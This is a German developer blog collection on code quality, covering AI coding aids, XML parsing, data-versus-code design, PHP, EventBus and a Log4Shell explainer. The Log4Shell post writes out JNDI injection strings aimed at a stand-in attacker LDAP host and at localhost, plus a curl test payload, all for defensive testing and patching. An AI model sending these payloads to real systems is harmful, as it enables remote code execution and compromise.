Schlechter Coden mit KI?

Eine Untersuchung kam zu dem Ergebnis, dass die Verwendung von KI-basierten Coding-Hilfen die Codequalität verschlechtert.

Ach tatsächlich? *Augenverdreh-Smiley*

Programmierer sind bekanntermaßen faul. Wenn man ihnen die Möglichkeit gibt, noch fauler zu sein, werden sie sie nutzen. Und dummerweise sind die Qualitätsmängel einer KI-Codeempfehlung nicht immer offensichtlich. Letztlich muss einem aber klar sein: Es ist copy+paste-Coding. Und das hat immer eingebaute Nachteile, weil eine ggf. sinnvolle Abstrahierung nicht stattfindet und manchmal notwendige Änderungen übersehen werden. Copy+paste-Fehler gehören zu den häufigsten. Die KI kann auch Fehler machen, Denken muss man schon noch selbst, das kann sie nämlich nicht!

Ich bin mal gespannt, wann erste, anspruchsvollere Dev Leads die Coding Rule rausgeben, keinen KIs als Programmiersklave zu verwenden. Und, wie das ggf. überprüft werden soll.

Übrigens sind auch Lizenzfragen hier relevant. Manch ein KI-generierter Codeschnipsel könnte von Scannern als Duplikat einer restriktiv lizensierten Stelle aus irgendeinem gitbub-Repo identifiziert werden. Der zuständige Entwickler* kann dann schlecht mit dem Finger auf die KI zeigen, denn die Verantwortung für den erzeugten Code trägt er. Dieser Verantwortung müssen Entwickler* gerecht werden und generierten Code kritisch hinterfragen, und zwar mindestens genauso kritisch, als wäre er von einem Kollegen geschrieben worden.

Wer KI-Instrumente einsetzt, sollte nicht von Faulheit getrieben sein – sondern von Vorsicht.

Die Komma-Falle

Es war einmal … nein, kein Komma. Ein harmloser Software-Entwickler.

Seine Aufgabe bestand darin, eine aus irgendeinem Tool exportierte XML-Datei zu laden und in Java-Objekte zu serialisieren.

In einer Beispiel-Datei (ein Schema oder eine Doku wurden nicht zur Verfügung gestellt) stand zum Beispiel so etwas wie das hier:

<numFiles>712</numFiles>

Das ist ja ganz einfach, man schreibt sich eine Model-Klasse:

public class Whatever {
  ...
  private long numFiles;
  ...
  // getter und setter
}

Schlau, wie wir sind, nehmen wir long, nicht int, denn man weiß ja nie, von was für Dateimengen hier die Rede ist.

Man kann Jackson benutzen, um aus dem XML ein Java-Objekt zu machen:

XmlMapper xmlMapper = new XmlMapper();
Whatever whatever = xmlMapper.readValue(new File(filePath), Whatever.class);

Der Code funktionierte einwandfrei. Er lief (gefühlt) jahrelang problemlos.

Bis eines schönen Tages an einem Freitag dem 13. jemand einen Fehler meldete: Eine seiner XML-Dateien könne nicht geladen werden. Das Programm habe wohl einen Fehler.

Es gab ja keine Codeänderung, also musste es an der fraglichen XML-Datei liegen.

In der Datei fand sich nun folgendes:

<numFiles>2,315</numFiles>

Das ist aus Sicht des XML-Parsers natürlich kein Long, sondern ein String oder (bestenfalls, falls englische Locale voreingestellt ist) ein Double.

Wer zum Kuckuck schreibt einen numerischen Wert in eine XML-Datei mit Tausendertrennzeichen?!

Dazu gibt’s nur einen möglichen Kommentar:

#fail

In diesem Sinne, mögen euch unnötige Kommas erspart bleiben!

Was Entwickler jetzt über die log4j2-Schwachstelle wissen müssen [CVE-2021-44228]

Die Schwachstelle CVE-2021-44228(Apache Log4j Remote Code Execution im beliebten Java-Logging-Framework log4j2 füllt seit dem 10. Dezember die Kommentarspalten und bringt Admins um ihren wohlverdienten Schlaf. Entdeckt wurde es übrigens zuerst auf anfälligen Minecraft-Servern. Dieses Posting erklärt die Schwachstelle für Entwickler einmal in aller Ruhe auf Deutsch – und gibt ein paar Handlungsempfehlungen.

Die Schwachstelle

log4j2 hat ein Feature namens Lookups. Unwahrscheinlich, dass das jemand meiner Leser bereits je verwendet hat, deshalb erkläre ich es nur extrem kurz: Man kann damit Daten aus einer externen Quelle abrufen und mit loggen. Dazu muss ein Makro wie ${…} geloggt werden (oder im Logging-Pattern stehen). Die Schwachstelle besteht nun darin, dass auch ein Lookup (Nachladen) einer Klasse über JNDI möglich ist, und das auch auf einem beliebigen LDAP-Server, etwa so:

"${jndi:ldap://horrible-ldap-server.whatever.com:1389/a}"

Hierüber kann der Anwendung beliebiger Java-Code untergejubelt werden, der vom LDAP-Server des Angreifers geladen und (wenn er im static{…}-Bereich der Klasse steht) beim Loggen geladen und ausgeführt wird. Zum Beispiel ein Kryptominer, was noch einer der harmloseren vorstellbaren Fälle ist. Der Code kann aber auch einen Remote-Login öffnen oder alle Daten abgreifen, die für den User, mit dessen Rechten Ihre Anwendung läuft, erreichbar sind. Aua.

Unter Android funktioniert das Feature nicht, allerdings sind auf einem Smartphone Angriffsmöglichkeiten ohnehin schwer vorstellbar. Ähnliches gilt für Kommandozeilen- oder Desktop-Anwendungen: Solange kein Angreifer in irgendeiner Form darauf zugreifen kann, kann er die Maschine auch nicht kompromittieren, auf der das Programm läuft.

Gefährdet sind also Webanwendungen mit von außen zugänglichen Schnittstellen.

Davon gibt es freilich beliebig viele im Netz. Sind Sie für eine zuständig? Dann lesen Sie weiter!

Da eingeschleuste Kryptominer der einfachste und einträglichste Fall eines Angriffsszenarios sind, können wir schlussfolgern, dass die Last in betroffenen Rechenzentren steigen wird, also auch der CO2-Ausstoß. Soweit kein Ökostrom verbraucht wird, bereichern sich die Angreifer also persönlich auf Kosten weiterer Klimaerwärmung. Jeglicher Hass ist da berechtigt. Hilft aber nicht. Also weiter im Text:

Typische Fälle

Da ein Angreifer schwerlich den bösartigen String nach obigem Beispiel höchstpersönlich in unsere log4j-Konfigurationsdatei schreiben kann, muss er versuchen, unsere Anwendung dazu zu bringen, den String zu loggen.

Angenommen, wir haben eine Webanwendung mit einem Login-Formular, das per HTTP POST den eingegebenen Usernamen und das Passwort an eine Funktion übermittelt, dann dürfte gar nicht mal so selten folgendes im Code stehen:

logger.info("Login-Versuch mit username {}", username);

Sobald der Angreifer nun einen POST-Request abwirft, in dem der böse String als username steht, wird dieser an Log4j2 übergeben und das üble Geschehen beginnt. Dabei ist es leider egal, ob Sie die oben gezeigte (und richtige) Methode mit dem {}-Platzhalter verwenden oder ein simples +-Zeichen.

Der Fehler passiert in allen drei folgenden Fällen:

String username="${jndi:ldap://127.0.0.1:1389/Exploit}";
logger.error("Login-Versuch mit username {}", username);
logger.error("Login-Versuch mit username " + username);
logger.error(username);

Allerdings hängt das Verhalten vom Log-Level ab: Wenn das konfigurierte Log-Level höher eingestellt ist als das im Code verwendete, wird überhaupt nichts geloggt und auch die schädliche JNDI-Auflösung entfällt. Sie müssen also nur auf Logging achten, das auf Ihrer Produktiv-Instanz aktiv ist, und das sind hoffentlich nur INFO und höher, nicht die ganzen TRACE und DEBUG, mit denen Ihr Code im Entwicklermodus gesprächig gemacht wurde.

Wenn Sie den Exploit selbst nachvollziehen wollen, schauen Sie sich den Proof of Concept bei Github an. Dieser startet einen einfachen HTTP-Server (mittels Python), der die “bösartige” Klasse Exploit.class als Binärdaten ausliefert und einen simulierten Ldap-Server, der auf localhost:8888 horcht (mittels dieses Pentesting-Tools). Wenn Log4j2 den LDAP-Server erreichen kann, wird der ${…}-String durch etwas anderes ersetzt, was Sie dann im Log sehen können, wenn die Anwendung angreifbar ist. Standardmäßig versucht die Klasse Exploit übrigens, einen Taschenrechner zu starten, aber es ist nur eine Fallunterscheidung Windows/Mac enthalten, auf einem Linux-System passiert also rein gar nichts. Sie können natürlich ein eigenes Test-Executable einsetzen, oder irgendein eigenes Logging ausführen, damit nicht dauernd neue Taschenrechnerfenster erscheinen. Nötig ist das nicht, weil Sie die Anfälligkeit auch anhand der Log-Ausgabe erkennen können:

10:01:11.355 [main] ERROR de.bessercoden.demos.Log4jExploitDemo - Reference Class Name: foo

Fragen Sie mich nicht, woher dieser Text stammt, das habe ich nicht weiter erforscht – entscheidend ist, dass bei vorhandener Vulnerability nicht ${jndi:ldap://127.0.0.1:1389/Exploit} erscheint, sondern eben etwas anderes.

Rufen Sie Ihren eigenen Webservice mit curl und einem “giftigen” Parameter auf, um zu schauen, was im Logfile erscheint. Um das zu tun, erzeugen Sie eine Datei testpayload mit folgendem Inhalt:

key=${jndi%3aldap%3a//127.0.0.1%3a1389/Exploit}

Die Doppelpunkte müssen hier escaped werden. Der zu testende Webservice-Parameter wäre hier key. Dann verwenden Sie: curl -d @testpayload “http://ihr-webservice/endpoint”

Beobachten Sie das Logfile.

Falls Sie HTTP-Header loggen, denken Sie daran, dass auch diese manipuliert sein können, nicht nur Parameter.

Was tun?

Als Entwickler sollten Sie zunächst prüfen, ob Ihre Anwendung log4j2 überhaupt verwendet. Schauen Sie dazu zunächst in die effektiven Abhängigkeiten Ihres Projekts (mvn dependency:tree | grep log4j). Natürlich kann es sein, dass eine Drittkomponente diese Abhängigkeit mitbringt. Beispielsweise tun das Springboot-Projekte nicht, wenn sie auf dem Parent springboot-starter-web basieren, diese Projekte verwenden log4j Version 1, die nicht betroffen ist (und slf4j, aber das ist egal).

Wenn Sie selbst explizit log4j2 verwenden, haben Sie vermutlich eine Dependency explizit deklariert, meist etwa so:

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.14.1</version>
</dependency>

Ändern Sie einfach die Versionsnummer in 2.15.0 und starten Sie einen clean build und testen Sie erneut.

Bäh, Featuritis!

Kleiner Abschlussrant. Ursache für den #epicfail ist in meinen Augen “Featuritis”: der naive Antrieb vieler Entwickler, dauernd neuen Kram in eine eigentlich fertige Software einzubauen, den fast niemand braucht – der aber standardmäßig eingeschaltet ist. Man muss noch nicht einmal auf die (eigentlich naheliegende) Idee kommen, dass ein Angreifer ein Feature wie “irgendeine Klasse per LDAP laden” auf fatale Weise ausnutzen könnte. Features, die voraussichtlich 99% der Nutzer (hier: Entwickler) nie brauchen, gehören in Erweiterungsmodule, nicht in den Basiscode. Die Regel dahinter ist KISS: Keep it simple, stupid!: Nur wirklich benötigte Daten (hier: Code) sollten sich in einem Projekt befinden, damit es schlank, schnell und in diesem Fall eben auch unanfällig für Angriffe ist.

Viel Erfolg bei der Bekämpfung der Angreifer!

Daten zu Daten, Code zu Code

Es war einmal ein Programmierer wie jeder andere. Sprich: Kurz vor Feierabend bekam er die Aufgabe, mal eben schnellTM einem neuen Kunden Zugriff auf eine bestimmte Ressource zu gewähren.

Was glauben Sie, warum er sein für den Abend geplantes Date mit Pizza&Kuscheln absagen musste?

Klarer Fall: Weil er oder einer seiner Kollegen bzw. Vorgänger das Bibel-Zitat aus der Überschrift nicht kannte.

Daten als Code

Wie immer sagt ein Beispiel mehr als 1000 Worte, und ich will ja nicht Ihre Zeit verschwenden. Schauen Sie sich daher das folgende Codebildchen an.

switch(userrole) {
case "DRG_BES":
case "DRG_ARG":
case "DRG_EFT":
    mgrNr = 332;
    break;
case "DRG_ALB":
    mgrNr = 451;
    break;
case "DRG_EDV":
    mgrNr = 322;
    break;
case "DRG_BFF":
    mgrNr = 537;
    break;
case "DRG_DDA":
    mgrNr = 336;
    break;
...

Wohlgemerkt handelt es sich hier um einen (leicht verfremdeten) originalen Ausschnitt aus einer umfangreichen Software-Lösung in Java. Die case-Konstruktion im analysierten Gesamtcode war noch länger, und ganz ähnliche Monster gab es an weiteren Stellen.

In einem anderen Projekt gab es auch mal eine ganz ähnliche Konstruktion zur Behandlung von speziellen Userrechten, daher der eingangs erwähnte Anwendungsfall unseres armen Programmierers. Denn der muss, um seine Aufgabe zu lösen, nun den Code erweitern, und zwar möglicherweise an mehreren Stellen. Dann muss er die Software testen, bauen und deployen oder, sollte es sich nicht um eine Serveranwendung handeln, ein Setup-Paket an einen Kunden schicken.

Wie gesagt: das war’s mit dem Date. Denn getreu Murphy’s Law geht dabei irgendwas schief … na ja, ich denke, Sie kennen das, haben es selbst erlebt oder erleiden müssen und fühlen mit unserem armen Programmierer, der sich an der Schwelle zur grausigsten aller Schrottsoftwareapokalypsen wähnt.

Daten sind Daten

Der Knackpunkt ist natürlich: Wenn Sie Daten als Code schreiben, müssen Sie die Anwendung kompilieren, bauen und ausrollen, um etwas zu ändern. Befinden sich Daten da, wo Daten hingehören (in Datenbanken oder Ressourcen- bzw. Konfigurationsdateien), und ist der Code generisch, genügt es, die Daten an der richtigen Stelle zu ändern, was in 99,99% der Fälle deutlich weniger Aufwand ist.

Der zugehörige Ersatz-Code für obiges Konstrukt könnte beispielsweise so aussehen:

mgrNr = userSettings.getMgrNrForUserrole(userrole);

Dabei ist es dem Code an dieser Stelle egal, ob userSettings ein simples POJO ist, in das die richtigen Daten irgendwann vorher geladen wurden, oder ob die Klasse den gewünschten Wert in diesem Moment aus einer Datei oder Datenbank liest. Im ersteren Fall muss die Anwendung möglicherweise neu gestartet werden, oder anderweitig signalisiert bekommen, dass sich Settings geändert haben und neu geladen werden müssen. Hat der Software-Architekt damit gerechnet, dass sich solche Daten außerhalb ändern können, hat er möglicherweise auch einen automatischen Refresh eingebaut. Zu beachten ist nämlich, dass sehr häufige Zugriffe auf meist statische Settings-Daten durchaus die Performance beeinträchtigen können, wenn jedesmal ein Datenbankzugriff oder z.B. eine XML-Deserialisierung notwendig ist. Ein Caching von Settings für ein paar Minuten ist also oft eine gute Idee.

Sie sehen natürlich auf den ersten Blick, dass der neue Code nicht nur ein Vielfaches kürzer ist als das alte Switch-Konstrukt. Er ist außerdem sofort zu verstehen und damit sehr gut wartbar. Auch die Fehleranfälligkeit ist geringer, weil eine versehentliche Veränderung in einem String-Literal oder einer der “magic numbers” im Eingangsbeispiel hier nicht passieren kann (der Compiler würde es wohlgemerkt nicht merken).

Daten sind Daten, aber wie?

Wenn Sie vor der Entscheidung stehen, wie und wo Sie Konfigurationsdaten ablegen, gibt es weder eine Patentlösung noch allgemeingültige Empfehlungen.

So möchten Sie User/Rollen-Konfigurationen einer auf Kunden-PCs laufenden Anwendung sicher verschlüsseln oder zumindest digital signieren, damit sich niemand auf einfache Weise zusätzliche Rechte verschaffen kann. Das ist natürlich mit Standard-Bibliotheken ohne weiteres möglich und ändert nichts am Grundprinzip der sauberen Trennung von Daten und Code.

Auf Dateiebene kommen ini- oder properties-Dateien in Frage, für komplexere Daten (wie Maps/Dictionaries wie im obigen Beispiel) XML- oder Json-Format. Beachten Sie, dass es für so ziemlich jede Programmiersprache, die etwas auf sich hält, Bibliotheken gibt, die Ihnen solche Dateien in Objekte deserialisieren (z.B. GSON oder Jackson für Java). So können Sie eine bestimmte Datenstruktur erzwingen, brauchen keine tippfehleranfälligen Stringliterale für den Zugriff, und strukturell falsche Daten führen zu Ausnahmefehlern, die (ordentliche Fehlerbehandlung vorausgesetzt) sofort sichtbar werden.

Auf Nummer sicher gehen Sie mit einer Datenbank, in der das relationale Schema die Datenstruktur fest vorgibt. Das muss natürlich kein ausgewachsener SQL-Server sein – auch dateibasierte Datenbanken wie Apache Derby oder SQLite erfüllen ihren Zweck. Das obige Beispiel würde eine Tabelle mit zwei Spalten (userrole und mgrNr) erfordern, wobei die userrole gleichzeitig der unique primary key wäre und die get-Funktion letztlich eine SQL-Query ausführt:

 SELECT mgrNr FROM settings WHERE userrole=:?

Diese oder jene Daten

Daten in Ressource-Dateien abzulegen (auch dateibasierte Datenbanken sind letztlich welche), eröffnet Ihnen mit modernen Build-Systemen wie Maven weitere Möglichkeiten. So können Sie mit Maven-Profiles das Buildsystem anweisen, unterschiedliche Ressourcen-Verzeichnisse zu verwenden. Auf diese Weise können Sie Testversionen getrennt von Produktivversionen verwalten oder auch unterschiedliche Ausprägungen eines Produkts bauen. In Mavens pom.xml schreiben Sie einfach:

<profiles>
    <profile><id>dev</id></profile>
    <profile><id>live</id></profile>
    ...
</profiles>

Sie übergeben dem mvn-Kommando mit dem Parameter -P den Namen des gewünschten Profils. Dann verwendet Maven zusätzlich zum Standard-Verzeichnis für Ressourcen (resources) ein Verzeichnis namens resources-[profile]. Legen Sie also einfach die jeweiligen Dateiversionen in unterschiedliche resources-xxx-Verzeichnisse und bauen Sie die Anwendung mit dem passenden -P-Parameter.

Wenn Sie das Springframework verwenden, können Sie mit passenden Annotations dafür sorgen, dass Konfigurationsparameter direkt zu Java-Beans verarbeitet werden, die per Autowire im Inversion-of-Control-Container zur Verfügung stehen. Aber das ist ein Thema für einen anderen Artikel.

Mögen Ihre Daten immer Daten sein, auf dass keines Ihrer Dates ausfallen muss!

Wie Spaghetti ist PHP?

Wer kennt sie nicht, die Sprache von WordPress? Laut Statistiken laufen um die 30% aller Webseiten (auch diese) auf WordPress – und damit mit der 25 Jahre alten Skriptsprache PHP (freilich vermixt mit einer gehörigen Portion HTML, Javascript und CSS). Also nicht Java, nicht C# … sondern PHP. Insgesamt kommt PHP sogar auf einen Anteil von 79% aller Webseiten, deren verwendete Plattform bekannt ist, behauptet W3Techs.

PHP – eine Sprache, die Spaghetticode geradezu herbeisehnt, denn damit können sogar Anfänger innerhalb von Sekunden dynamische Webseiten schreiben, mit Datenbank-Anbindung, Formular-Sanitychecks und haufenweise Sicherheitslücken.

Nun ja, die Situation hat sich gebessert, seit URL-Parameter nicht mehr automatisch als Variablen wie $param zur Verfügung stehen – trotzdem verleitet die Natur der Sprache zur Beimischung von HTML wie hier:

foreach($angebote as $angebot) { print "<div>$angebot</div>";}

Ups, heute leider keine Angebote:

Na ja. Kann ja mal passieren.

Hinweisen wollte ich hier eigentlich nicht auf schlechte Fehlerbehandlung, sondern auf etwas anderes: HTML-Code in String-Literalen ist aus Sicht der Entwicklungsumgebung meist irgendein Text. Folglich findet darin keine Validierung statt. Ein versehentlicher, unbemerkter Tastendruck innerhalb des Strings kann die Darstellung der Webseite komplett zerschießen, ohne dass Sie, Ihre Entwicklungsumgebung oder PHP es bemerken (klar gibt es Unit-Tests für PHP, aber ich fürchte, allzu verbreitet sind die nicht). Dass man dergleichen mit einer Template-Engine umgehen kann, die HTML- und PHP-Code in getrennten Dateien verwaltet, dürfte den meisten Lesern klar sein – aber das ist natürlich viel umständlicher und nicht so schnell fertig.

Mit strukturierter (also aufwändigerer, zukunftssicherer) Programmierung ernten Sie als Früchte eine ganze Reihe Vorteile von PHP:

  • Minimaler Footprint auf dem Server (ein paar Textdateien, nicht megabyteweise Java-Libs)
  • Hohe Performance (dank Codecache und bei schlauer Programmierung, siehe dazu weiter unten)
  • Turnaround-Zeit ist 0 (Zeit zwischen Speichern einer PHP-Datei und HTTP-Aufruf gegen localhost zum Testen)
  • Und nicht zu vergessen: Hohe Verbreitung in der Community, also ist es leicht, Unterstützung zu finden.

Fairerweise seien ein paar Nachteile genannt:

  • Vergleichsweise hoher RAM-Bedarf
  • Keine strenge Typisierung
  • Objektorientierte Programmierung leicht nervig (ich vergesse dauernd das $this->, Sie auch?)
  • Verleitet zu unsauberer Programmierung durch globale Variablen, prozedurales Coden und verschachtelte includes
  • Größere Updates erforderten in der Vergangenheit größere Umbauten (z.B. MySQL-Funktionen), so dass viele Webseiten nie upgedated wurden, weil der Aufwand nicht lohnt → eine solche radikale Update-Policy führt dazu, dass viele Nutzer ihre Systeme nicht updaten und damit Sicherheitslücken bestehen bleiben

Zur oben erwähnten “schlauen Programmierung” ein kleiner Info-Drops: Im Gegensatz zu einer Java-Anwendung, die einmal hochfahren muss, ist ein PHP-Skript zunächst einmal “stateless”, es kennt also keine globalen Daten bzw. muss sich alles selbst zusammensuchen, was es braucht. “Weniger schlaue” Programmierung würde hier bedeuten, etwaige benötigte Daten beim Start des Skripts aus Dateien oder Datenbank nachzuladen. Bei jedem Start des Skripts. Das ist natürlich ineffizient. Stattdessen können Sie den In-Memory-Cache APCU verwenden, der wie ein Key-Value-Store im RAM funktioniert und daher extrem performant ist und im Gegensatz zum ebenfalls bewährten Memcached keine externe Komponente benötigt. Wir versuchen also mal im folgenden Beispiel beim Start des Skripts, einen benötigten Wert ($words) aus dem Cache zu holen. Sollte er fehlen (also beim allerersten Start), laden wir ihn aus irgendwelchen Dateien und speichern ihn im Cache:

if(apcu_exists("words")) { 
  $words=apcu_fetch("words");
} else { 
  $words = load_words_from_file("irgendwelche_woerter.txt");
  apcu_add("words",$words);
}
// es folgt der Code, der $words benötigt

Der Performancegewinn ist erheblich, wovon Sie sich leicht selbst überzeugen können, wenn Sie Test-Requests auf ein solches Beispiel loslassen. Um auch mal mehrere Requests auf einmal abzufeuern, können Sie übrigens den Apache Benchmark ab verwenden, etwa so:

ab -c 6 -n 10000 http://localhost/test.php?input=Hurra

Mit den gezeigten Parametern führt ab 10.000 Requests gegen die übergebene Adresse aus, und zwar in 6 parallelen Threads (seien Sie fair und überlassen Sie PHP/Apache auch ein paar, meine Maschine hat 12 Kerne, daher Fifty-Fifty). Das Tool gibt dann eine ausführliche Statistik über die Performancemessung aus:

Concurrency Level: 6
Time taken for tests: 0.629 seconds
Complete requests: 10000
Failed requests: 0
Non-2xx responses: 10000
Total transferred: 1850000 bytes
HTML transferred: 0 bytes
Requests per second: 15901.99 #/sec
Time per request: 0.377 ms
Time per request: 0.063 [ms] (mean, across all concurrent requests)
Transfer rate: 2872.92 [Kbytes/sec] received

Sie sehen: Ja, auch in PHP kann man strukturiert, effizient und sauber programmieren – aber PHP zwingt Sie nicht zu Disziplin, das müssen Sie schon selber tun. Empfehlenswert sind daher z.B. im Team knackige Code-Reviews und zielführende Mikroarchitektur-Debatten, um für porentief reinen Programmierstil zu sorgen.

tl;dr: PHP ist schnell und effizient, aber passen Sie auf, dass Sie keinen Spaghettisalat produzieren.

Meetup: Code-Qualität

Am 9.6. gibt’s von mir einen tollen Online-Vortrag in Zusammenarbeit mit IT Dev Café Düsseldorf. Ich zeige tolle Beispiele aus meiner Arbeit bei Codequalitätsanalysen – und diskutiere, wie es zu bestimmten Problemen typischerweise kommt. Sagte ich schon, dass es ganz toll wird?

Nehmt teil, bringt Freunde mit, kostet nix!

Hier ist der Meetup-Link!

Entkopplung mit Events

Ein Ausweg aus der Multithread-Hölle (Sie wissen schon, die mit dem fröhlichen Bad in siedenden Race conditions) ist die Entkopplung mit Events. Statt einen linearen Programmablauf zu denken, der streckenweise aus wichtigen Gründen in verschiedenen Threads abläuft, denken Sie lieber an herumgereichte Events oder, allgemeiner: Nachrichten. Ein Message-Broker läuft dazu im Hintergrund und reicht Nachrichten herum. Das entspricht einem Publish-Subscribe-Entwurfsmuster. Der entscheidende Vorteil: Die Nachricht “gehört” immer nur jenem Programmteil (oder Thread), der gerade aktiv ist. Es gibt keinen gleichzeitigen Zugriff mehrerer Threads auf das gleiche Nachrichtenobjekt. Auch der Message-Broker interessiert sich nicht mehr für eine Nachricht, sobald er sie zugestellt hat. Am Ende der Verarbeitung wird einfach eine neue Nachricht mit dem Ergebnis der Berechnung auf gleiche Weise zurück geschickt.

Publish und Subscribe

Sie wissen sicher: Viele größere Software-Systeme arbeiten längst mit Microservices und Message-Brokern wie Apache Kafka, die Nachrichten herumreichen. Aber das geht auch in Android, und Sie können damit leicht und elegant Arbeit in den Hintergrund verlagern. Statt mit AsyncTask, Thread, Handler und runOnUiThread können Sie einfach EventBus verwenden – tun Sie vielleicht eh, denn die Library hat sich in unzähligen Apps bewährt:

dependencies {
implementation 'org.greenrobot:eventbus:3.2.0'
}

Meist verwenden Sie EventBus, um Nachrichten zwischen UI-Komponenten, Fragmenten und Activities oder Services auszutauschen. Aber da Sie per Annotation festlegen können, ob ein EventHandler im Vorder- oder Hintergrund aufgerufen wird, können Sie auch sehr einfach eine saubere Background-Task-Verarbeitung umsetzen:

EB ist eine Abkürzung für EventBus.getDefault()

Links, im Main Thread, schicken Sie (z.B. nach einem Knopfdruck des Nutzers) eine CalculationStartMsg los, nix weiter. Die Message ist ein POJO, das alle nötigen Daten enthält, um die gewünschte Berechnung zu starten. Diese Nachricht (oberer Kaffeefleck) stellt EventBus im Hintergrund zu (siehe @Subscribe-Annotation). Wohlgemerkt ist der UI-Thread völlig unbeteiligt, er macht nach dem EB.post() gar nichts mehr bzw. wartet auf weitere Eingaben.

Die Berechnung im Hintergrund erzeugt eine neue Nachricht mit dem Ergebnis der Berechnung, ResultMsg (unterer Kaffeefleck), und überstellt es dem EventBus. Dieser stellt es der passenden onMessageEvent-Funktion im Main-Thread zur Verfügung, die wiederum das Ergebnis in der UI darstellt.

Async im Pool

Falls Sie oft längere Berechnungen im Hintergrund durchführen, verwenden Sie statt ThreadMode.BACKGROUND lieber ThreadMode.ASYNC. Denn während erstere Variante nur einen Thread verwendet, und mehrere Operationen daher nacheinander verarbeiten muss, benutzt ASYNC einen ThreadPool und kann daher problemlos mehrfach und für länger dauernde Berechnungen (wie Netzwerkzugriff) eingesetzt werden.

Beachten Sie immer den Android-Lifecycle: Beide Klassen (die blaue und die orange) müssen bereits instanziiert sein, sonst können sie keine Events empfangen (). Entweder die Worker-Klasse wird in onCreate der Activity (blau) erzeugt, oder alle Funktionen liegen sogar in der gleichen Activity-Klasse. EventBus kann im Gegensatz zu (expliziten) Broadcasts keine neuen Objekte erzeugen. Natürlich müssen alle beteiligten Klassen sich bei EventBus registrieren (mit EventBus.getDefault().register(this)).

In den Messages können Sie beliebige serialisierbare Daten übertragen, auch größere Mengen. Die Latenz beträgt wenige Millisekunden.

tl;dr: EventBus-ähnliche Architektur löst auf elegante Weise viele Multithreading-Probleme, da sie auf gleichzeitige Zugriffe auf ein und dieselben Ressourcen prinzipiell verzichtet. Das bedeutet maximale Entkopplung, weniger Abhängigkeiten und weniger Probleme. Mit ganz einfachen Mitteln. Investieren Sie Ihre wertvolle Zeit lieber in wichtigere Dinge, zum Beispiel Vermeiden von Sicherheitslücken…

Prohibition für Saugrobby!

Was muss ich da lesen? Besoffene Saugroboter?

Jetzt mal unabhängig von der Frage, ob es schlimm oder lustig ist, wenn Saugrobby wie ein verwirrter Hamster immer im Kreis fährt oder länger als sonst zum Reinigen der Wohnung braucht: Kann ja mal passieren, dass beim Abschlusstest eines Updates irgendwas übersehen wird, nicht wahr?

Ich will auch gar nicht über schlechte Testbarkeit meckern oder spekulieren, wie hoch die technische Schuld der womöglich nicht tip-top sauberen Software der betroffenen Roombas des Herstellers iRobot ist (dear iRobot, if you need help here, drop me a message!). Aber der Anlass ist willkommen für die regelmäßige Erinnung an die inhärente Fehlerfortpflanzung bei Software:

Menschen machen nunmal Fehler, das ist menschlich. Unterläuft beispielsweise einem Frisör ein Fehler, rennt hinterher ein Kunde mit doofen Haaren herum. Unterläuft einem Programmierer ein Fehler, so sind viel, viel mehr, schlimmstenfalls Millionen Nutzer betroffen, nämlich alle, die diese Software verwenden oder den fraglichen Code bei einer Sitzung auf einer Cloud-Instanz durchlaufen, falls es sich um eine Webanwendung handelt.

Während der Frisör deshalb mit einem minimalen Korrektiv auskommt (z.B. dem Kunden den Spiegel hinter den Kopf halten und fragen, ob’s gefällt), muss die Software deutlich höhere Hürden überwinden, um in die freie Wildbahn entlassen zu werden. Da ist zunächst mal die Suite von Unit Tests (Sie haben doch Unit-Tests, oder?), Integrationstests auf einer Testumgebung und die Abnahme auf einer Staging-Umgebung bzw. weitere Ende-zu-Ende-Tests, sei es automatisiert oder manuell. Im Idealfall jedenfalls. Eine Testabdeckung von 100% aller Fälle ist jedoch utopisch. Das gilt umso mehr, wenn Endgeräte im Spiel sind, die über individuelle Daten verfügen (z.B. Aufzeichnungen über die Geometrie zu saugender Räume). Die kann man nicht alle testen. Geht nicht.

Also sind halt bisweilen ein paar Staubsauger-Bots besoffen.

Software wird von Menschen geschrieben, die nicht perfekt sind. Folglich kann auch das Produkt nicht perfekt sein. Deshalb wird Software immer ein Restrisiko mit sich bringen. Es mag bei guten Programmierern (die mein Buch gelesen haben) klein sein, aber nie Null. Wer von Software Wunder erwartet, übersieht den menschlichen Faktor. Wer den menschlichen Faktor übersieht, kalkuliert Kosten für Fehlerbehebung oder Wartung nicht hinreichend in die Wirtschaftlichkeitsanalyse ein – und gelang möglicherweise zu einem Ergebnis größer als Null und ist später überrascht, wenn er draufzahlt.

Disclaimer: Nein, dies ist keine pauschale Entschuldigung für Bugs. Schon gar nicht für solche, die durch guten Code und sauberes Testen vermeidbar gewesen wären. Es ist der ausdrückliche Wunsch nach realistischen Einschätzungen.

Wer die Anfälligkeit von Software mit einrechnet, kommt nämlich auch nicht auf so drollige Ideen wie z.B. autonome Drohnen mit tödlichen Waffen oder diskriminierende Algorithmen für die Sichtung von Bewerbungsunterlagen, Anwendungen also, die ein bisschen weniger witzig sind als besoffene Roboter.

tl;dr: Vermeiden Sie Fehler – aber tun Sie nicht so, als gäbe es keine.